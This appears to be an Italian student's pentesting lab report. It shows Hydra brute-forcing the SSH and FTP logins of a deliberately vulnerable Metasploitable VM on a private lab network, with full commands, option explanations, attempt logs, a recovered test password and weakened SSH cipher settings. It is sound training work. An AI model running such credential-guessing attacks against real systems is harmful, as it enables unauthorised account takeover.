

# W14D4 - Auth cracking con hydra metasploitable - pentesting password cracking

Danilo 'danix' Macrì - [mia.mail@mio.sito](mailto:mia.mail@mio.sito)

Scan started on 15/10/2025 - duration (days): 1

## Contents

|                                 |   |
|---------------------------------|---|
| Sommario . . . . .              | 1 |
| Scope . . . . .                 | 1 |
| Tecnologie utilizzate . . . . . | 1 |
| SSH . . . . .                   | 2 |
| FTP . . . . .                   | 4 |

## Sommario

Con l'esercizio di oggi andremo ad effettuare dei tentativi di cracking dei servizi che richiedono autenticazione sulla macchina target.

## Scope

- Il target dei nostri test è come sempre la macchina metasploitable
  - 192.168.50.101
  - http://metasploitable

## Tecnologie utilizzate

Per i test di oggi utilizzeremo:

- hydra v9.6

## SSH

**Setup** Inizieremo configurando un nuovo utente sulla macchina metasploitable con il comando:

```
sudo useradd -d /home/danix -m -s /bin/bash danix
```

e successivamente gli daremo una password con il comando:

```
sudo passwd danix
```

Adesso possiamo testare la connessione all'utente appena creato

```
(kali㉿kali)-[~]  
└─$ ssh danix@metasploitable  
danix@192.168.50.101's password:  
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686  
  
The programs included with the Ubuntu system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.  
  
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by  
applicable law.  
  
To access official Ubuntu documentation, please visit:  
http://help.ubuntu.com/  
danix@metasploitable:~$
```

Una volta connessi con successo sappiamo che tutto funziona correttamente.

**Attacco** Andiamo adesso ad attaccare con hydra il login via SSH come faremmo in un test blackbox, quindi senza conoscere né il nome utente né la password. Il comando è il seguente:

```
hydra -L my-wordlists/top-usernames-shortlist.txt -P my-wordlists/rockyou-30.txt 192.168.50.101 -V
  ↪ -t 4 ssh
```

```

--(kali@kali)~$ hydra -L my-wordlists/top-usernames-shortlist.txt -P my-wordlists/rockyou-30.txt 192.168.50.101 -V -t 4 ssh
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-10-17 05:43:01
[DATA] max 4 tasks per 1 server, overall 4 tasks, 28026 login tries (l:18/p:1557), ~7007 tries per task
[DATA] attacking ssh://192.168.50.101:22/
[ATTEMPT] target 192.168.50.101 - login "root" - pass "123456" - 1 of 28026 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "root" - pass "12345" - 2 of 28026 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "root" - pass "123456789" - 3 of 28026 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "root" - pass "password" - 4 of 28026 [child 3] (0/0)

```

Queste sono le opzioni passate ad hydra per il nostro attacco:

- L my-wordlists/top-usernames-shortlist.txt** passiamo una lista di usernames (in questo caso è una copia di una lista del pacchetto seclists)
- P my-wordlists/rockyou-30.txt** passiamo una lista di password (in questo caso è una copia di un estratto della lista rockyou dal pacchetto seclists)
- V** modalità verbosa per vedere in tempo reale i tentativi effettuati
- t 4** 4 tasks contemporanei
- ssh** specifica di attaccare il servizio ssh

```

[ATTEMPT] target 192.168.50.101 - login "danix" - pass "julia" - 1550 of 28026 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "danix" - pass "goldie" - 1551 of 28026 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "danix" - pass "daisy1" - 1552 of 28026 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "danix" - pass "bella1" - 1553 of 28026 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "danix" - pass "thailand" - 1554 of 28026 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "danix" - pass "puppy" - 1555 of 28026 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "danix" - pass "gladys" - 1556 of 28026 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "danix" - pass "portalanonna" - 1557 of 28026 [child 3] (0/0)
[22][ssh] host: 192.168.50.101 login: danix password: portalanonna
[ATTEMPT] target 192.168.50.101 - login "root" - pass "123456" - 1558 of 28026 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "root" - pass "12345" - 1559 of 28026 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "root" - pass "123456789" - 1560 of 28026 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "root" - pass "password" - 1561 of 28026 [child 1] (0/0)

```

dopo un po' di tempo vedremo che siamo riusciti a trovare la combinazione di username e password e potremo quindi interrompere la scansione.

**Caveats** Siccome stiamo attaccando un sistema molto vecchio e volutamente vulnerabile, dovremo aggiungere diversi algoritmi di cifratura al file `/etc/ssh/ssh_config` della nostra kali affinché hydra sia in grado di comunicare con la metasploitable.

KexAlgorithms diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,  
ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,  
diffie-hellman-group14-sha1

Ciphers chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,  
aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com

HostKeyAlgorithms ssh-rsa,ssh-ed25519-cert-v01@openssh.com,  
ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,

ecdsa-sha2-nistp521-cert-v01@openssh.com,sk-ssh-ed25519-cert-v01@openssh.com,  
sk-ecdsa-sha2-nistp256-cert-v01@openssh.com,rsa-sha2-512-cert-v01@openssh.com,  
rsa-sha2-256-cert-v01@openssh.com,ssh-ed25519,  
ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,sk-ssh-ed25519@openssh.com,  
sk-ecdsa-sha2-nistp256@openssh.com,rsa-sha2-512,rsa-sha2-256  
MACs hmac-md5,hmac-sha1,umac-64@openssh.com

## FTP

**Setup** Il setup sarà lo stesso anche per il servizio FTP che è già attivo sulla metasploitable. Anche in questo caso procederemo con un attacco blackbox.

**Attacco** L'attacco sarà molto simile:

```
hydra -L my-wordlists/top-usernames-shortlist.txt -P my-wordlists/rockyou-30.txt 192.168.50.101 -V  
↪ -t 4 ftp
```

**ftp** abbiamo cambiato solo il parametro della tipologia di connessione specificando ftp come protocollo

```
[ATTEMPT] target 192.168.50.101 - login "danix" - pass "atexis" - 101 of 28026 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "danix" - pass "jesus" - 102 of 28026 [child 3] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "danix" - pass "estrella" - 103 of 28026 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "danix" - pass "miguel" - 104 of 28026 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "danix" - pass "william" - 105 of 28026 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "danix" - pass "thomas" - 106 of 28026 [child 3] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "danix" - pass "beautiful" - 107 of 28026 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "danix" - pass "mylove" - 108 of 28026 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "danix" - pass "angela" - 109 of 28026 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "danix" - pass "portalanonna" - 110 of 28026 [child 3] (0/0)  
[21][ftp] host: 192.168.50.101 login: danix password: portalanonna  
[ATTEMPT] target 192.168.50.101 - login "root" - pass "123456" - 1558 of 28026 [child 3] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "root" - pass "12345" - 1559 of 28026 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "root" - pass "123456789" - 1560 of 28026 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "root" - pass "password" - 1561 of 28026 [child 0] (0/0)
```

e anche qui, dopo qualche tempo vedremo che hydra è riuscito a trovare la combinazione di username e password.

Possiamo testare la connessione col client **ftp** da riga di comando:

```
(kali㉿kali)-[~]  
$ ftp metasploitable  
Connected to metasploitable.  
220 (vsFTPD 2.3.4)  
Name (metasploitable:kali): danix  
331 Please specify the password.  
Password:  
230 Login successful.  
Remote system type is UNIX.  
Using binary mode to transfer files.  
ftp> pwd  
Remote directory: /home/danix  
ftp> ls  
229 Entering Extended Passive Mode (|||59348|).  
150 Here comes the directory listing.  
226 Directory send OK.  
ftp> ls -a  
229 Entering Extended Passive Mode (|||40374|).  
150 Here comes the directory listing.  
drwxr-xr-x  2 1003    1003      4096 Oct 17 08:55 .  
drwxr-xr-x  7 0        0        4096 Oct 17 08:54 ..  
-rw-r--r--  1 1003    1003       14 Oct 17 09:35 .bash_history  
-rw-r--r--  1 1003    1003      220 Oct 17 08:54 .bash_logout  
-rw-r--r--  1 1003    1003     2928 Oct 17 08:54 .bashrc  
-rw-r--r--  1 1003    1003      586 Oct 17 08:54 .profile  
226 Directory send OK.  
ftp> ^D  
221 Goodbye.
```

come vediamo ha funzionato.

Concludiamo così il nostro esercizio di oggi.

Alla prossima.

A stylized handwritten signature in black ink. The signature appears to be 'Danix' followed by a flourish. The letters are bold and connected, with a long horizontal line underneath the entire signature.